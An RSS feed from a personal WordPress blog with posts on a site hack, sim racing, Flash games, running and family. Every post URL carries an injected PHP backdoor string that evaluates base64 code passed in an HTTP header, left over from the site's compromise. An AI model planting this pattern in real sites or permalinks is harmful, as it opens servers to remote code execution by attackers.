themeltons.net » Daily Rambling http://www.themeltons.net Fri, 21 May 2010 18:17:56 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 Back From Hacked http://www.themeltons.net/2010/05/21/back-from-hacked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.themeltons.net/2010/05/21/back-from-hacked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 21 May 2010 14:03:44 +0000 Jim http://www.themeltons.net/?p=109 Well, the site got hacked due to the Wordpress vulnerability…the one that I didn’t patch for. It took a while, but most things are back the way they were with the exception of some videos that I posted on Microsoft’s Soapbox. That service no longer exists, so the videos are gone.

I’m hoping to vet back to updating this site more regularly. I have some Powertel scripts that may be useful for Symantec Endpoint Protection admin. I’ve been the AV admin for a Fortune 500 company for the last 4 years. If you are a SEP admin, you know the product…hmmm…isn’t all it should be. I’ve had to write a number if scripts to fix broken defs, fix corrupt policies, audit the AV health on about 14,000 computers in the enterprise, and report those findings. If you are an admin struggling with this, you may want to stay tuned.

On another note, I got a HTC Droid Incredible and I love it! I was hoping to get an iPhone, but was unwilling to leave Verizon to get it. Having played with the Incredible, I have no desire for an iPhone any longer. The open nature of the Android OS that runs on the Incredible, outlines the iPhone’s closed platform…oh, by the way, it costs about $200 – $300 less than the iPhone. The Android Marketplace is huge and continues to grow rapidly. It has a multitude of games and apps, like the free Wordpress app I’m using to make this post.

Gotta love tech!

]]> http://www.themeltons.net/2010/05/21/back-from-hacked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Skyelar Visits Grandma and Grandpa http://www.themeltons.net/2009/03/08/skyelar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.themeltons.net/2009/03/08/skyelar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 09 Mar 2009 01:27:40 +0000 Jim http://www.themeltons.net/2009/03/08/skyelar/

 

We got a visit from Skyelar the other day.  It’d been a while since we’d seen her and she’s now crawling…sort of.  She was well on her way to crawling to get some coasters until I dug the camera out to get the event on film.  Dawn eventually had to go grab some toys that she wanted even more.

]]> http://www.themeltons.net/2009/03/08/skyelar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Delainey’s Birthday http://www.themeltons.net/2009/02/18/delainey/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.themeltons.net/2009/02/18/delainey/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 18 Feb 2009 10:40:29 +0000 Jim http://www.themeltons.net/2009/02/18/delainey/

I found a way to put video online, so maybe I’ll be adding more of these soon.

]]> http://www.themeltons.net/2009/02/18/delainey/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Long Overdue http://www.themeltons.net/2009/02/16/photos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.themeltons.net/2009/02/16/photos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 16 Feb 2009 21:03:10 +0000 Jim http://www.themeltons.net/2009/02/16/photos/

It’s been a while since I’ve posted some pics of the kids and grand-kid.  Here are a few of the recent ones.  There are a ton more, but I figured I’d get some up so I wouldn’t feel so bad about how lazy I’ve been.

 

 

 

 

 

 

 

 

 

 

 

 

I’ll get some more pictures up later.  Hopefully I’ll have the online photo album up soon.  Too many things to do and not enough time to do them.

]]> http://www.themeltons.net/2009/02/16/photos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 iRacing 2009 Season 1 – The Rides http://www.themeltons.net/2009/02/03/iracing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.themeltons.net/2009/02/03/iracing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 03 Feb 2009 20:28:11 +0000 Jim http://themeltons.net/2009/02/03/iracing/ I’ve been completely absorbed in online sim racing for years now.  It began with Papyrus NASCAR Racing 4 and has blossomed over the years into other racing sims.  I’ve thoroughly enjoyed other sims like NASCAR Racing 2003 Season, Grand Prix Legends, GTR, GTR2, rFactor, and more.

However, the Godfather of sim racing, Dave Kaemmer, teamed up with John Henry (principle owner of the Boston Red Sox) to create the most epic online racing service ever – iRacing.  After spending time behind the wheel of the many cars iRacing has to offer, none of the other sims I used to frequent feel the same.  The level of realism and attention to detail is amazing.  All the tracks are laser scanned, so all bumps, small and large, are there.

Anyway, here are the rides I’m running for this season.  The Riley is assuming I can get my Safety Rating up high enough to be able to run in that series (here’s hoping).

Formula Mazda - Star Mazda Series
Formula Mazda – Star Mazda Series
Chevy Impala SS – NASCAR Sprint Cup
Chevy Impala SS – NASCAR Sprint Cup
Riley MkXX Daytona Prototype - Rolex Sports Car Series
Riley MkXX Daytona Prototype – Rolex Sports Car Series
Radical SR8 -
Radical SR8 – Various International Series
]]> http://www.themeltons.net/2009/02/03/iracing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Completely and Totally Addicted… http://www.themeltons.net/2009/01/31/completely-and-totally-addicted/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.themeltons.net/2009/01/31/completely-and-totally-addicted/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 31 Jan 2009 16:30:21 +0000 Jim http://themeltons.net/2009/01/31/completely-and-totally-addicted/  

I mentioned it yesterday.  I spent last night and this morning trying to figure this one out.  Check it out, but be forewarned – You may not be able to stop doing these GROW mazes.

GROW CUBE

]]> http://www.themeltons.net/2009/01/31/completely-and-totally-addicted/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Grow Tower Eyemaze Flash Game http://www.themeltons.net/2009/01/30/grow-tower-eyemaze-flash-game/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.themeltons.net/2009/01/30/grow-tower-eyemaze-flash-game/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 30 Jan 2009 20:19:45 +0000 Jim http://themeltons.net/2009/01/30/grow-tower-eyemaze-flash-game/  

Tycho from Penny Arcade posted about it the other day and I checked it out on a whim.  He mentions how much he craves them, and after messing around with a couple of them for a while, I certainly understand what he means.

I really encourage everybody to try out the newest GROW called GROW TOWER EYEMAZE.  The goal is to flip the switch WAAAAAY up there.  In order to get there, you must stack each item in a certain order.  It’s sorta frustrating and very rewarding when you figure it out.  After you complete the GROW TOWER, check out some of the others at the bottom of the page.  They are completely addictive.

Speaking of addictive, You might want to check out Defense Grid:  The Awakening on either Steam or Greenhouse.  It’s basically a 3D Desktop Tower Defense clone.  If you are looking for time a time waster, this is definitely one of them.

]]> http://www.themeltons.net/2009/01/30/grow-tower-eyemaze-flash-game/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 What’s Going On? http://www.themeltons.net/2007/11/12/whats-going-on/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.themeltons.net/2007/11/12/whats-going-on/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 12 Nov 2007 19:10:01 +0000 Jim http://themeltons.net/2007/11/12/whats-going-on/ Running

Good question. Things have changed a bit since the Chicago Marathon and the Indianapolis Marathon last month. We have several months before we run the Indy Mini in May 2008. So, where do we go from here?

Dawn decided she wanted to train for a 10K until the first part of next year. We’re not sure where we’ll find a 10K to run in, but she wants to get Preferred Seeding for the Mini, so she needs to find somewhere to get a time that will put her there. She JUST missed Preferred Seeding with her time in the Indianapolis Marathon by 9 seconds.

Me, I’m training for a 5K. My goal is to be able to keep up with Braden some. I’ve got a long way to go, but if I work hard, maybe I’ll actually be able to keep up with the Bellmont High girls (one of them ran a 20:33!).

I’ve got my run times posted on the Run Log page. I’m not happy with the way things look, but at least it’s something. I’m actually running 5 days per week totaling over 30 miles per week most weeks. That’s a huge change from the 3 days per week I was running and a much bigger commitment; it’s cold and rainy this time of year. Oh well…I’ll live…maybe.

Gaming

So, what I have been doing when I’m not working or running? Playing a multitude of games! This fall/winter has been the gaming equivalent of the The Perfect Storm. There are sooooo many great games out there, I don’t think I have enough time or money to play them all!

Where does one start feasting on all the gaming goodness? The best place…nay, the mandatory place MUST be Orange Box. Hands down, this is the absolute best value in the history of gaming. The total package of gaming, Orange Box includes Half Life 2, Half Life 2: Episode One, Half Life 2: Episode Two, Team Fortress 2, Portal, and, if you pre-ordered the PC version from Steam, Peggle Extreme. All of this for $50 on the PC and $60 on the Xbox 360! Portal is probably worth the price of Orange Box on its own.

I’m currently knee deep in Hellgate: London. Hellgate is the creation of Flagship Studios…essentially the dev team that created Diablo and Diablo II for Blizzard Entertainment. HGL is a pretty good game; it’s Diablo with a few new innovations. Unfortunately, there are a ton of other games just waiting to absorb my time. We’ll see how long I’ll be in London.

So, what am I looking forward to? To name a few, there is Crysis, Mass Effect, Guitar Hero III, Rock Band, and Assassin’s Creed. There is even more that I can’t think of off the top of my head.

Ahhhh, the Perfect Storm…

]]> http://www.themeltons.net/2007/11/12/whats-going-on/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Marathon Update http://www.themeltons.net/2007/10/15/marathon-update/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.themeltons.net/2007/10/15/marathon-update/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 15 Oct 2007 11:26:51 +0000 Jim http://themeltons.net/2007/10/15/marathon-update/ I know I said it would be ready in a couple of days about a week ago.  However, it’s just taking way longer than I had anticipated to put my thoughts “on paper”.  I will have everything finalized, proofread, and posted by tomorrow morning.  Thanks for you patience.

]]> http://www.themeltons.net/2007/10/15/marathon-update/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Guitar (Hero II) god? http://www.themeltons.net/2007/04/27/guitar-hero-god/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.themeltons.net/2007/04/27/guitar-hero-god/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Apr 2007 17:21:52 +0000 Jim http://themeltons.net/2007/04/27/guitar-hero-god/ I’ll have a big post this weekend (hopefully), but while I was cruising teh internets, I ran across this young man rockin’ Guitar Hero II for the Xbox 360. The song is a My Chemical Romance song called Dead!.

BTW – The kid is only 8 and if you look closely at the end of the song, he’s playing it on Expert Mode! My jaw damn near hit the floor. Enjoy!

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